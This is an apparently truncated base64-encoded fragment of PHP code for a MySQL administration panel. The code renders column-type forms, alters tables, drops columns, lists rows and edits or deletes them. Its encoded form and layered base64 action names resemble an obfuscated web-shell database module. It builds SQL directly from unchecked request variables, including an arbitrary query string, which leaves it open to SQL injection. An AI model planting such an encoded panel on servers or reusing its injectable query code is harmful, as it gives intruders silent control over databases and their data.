W5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyR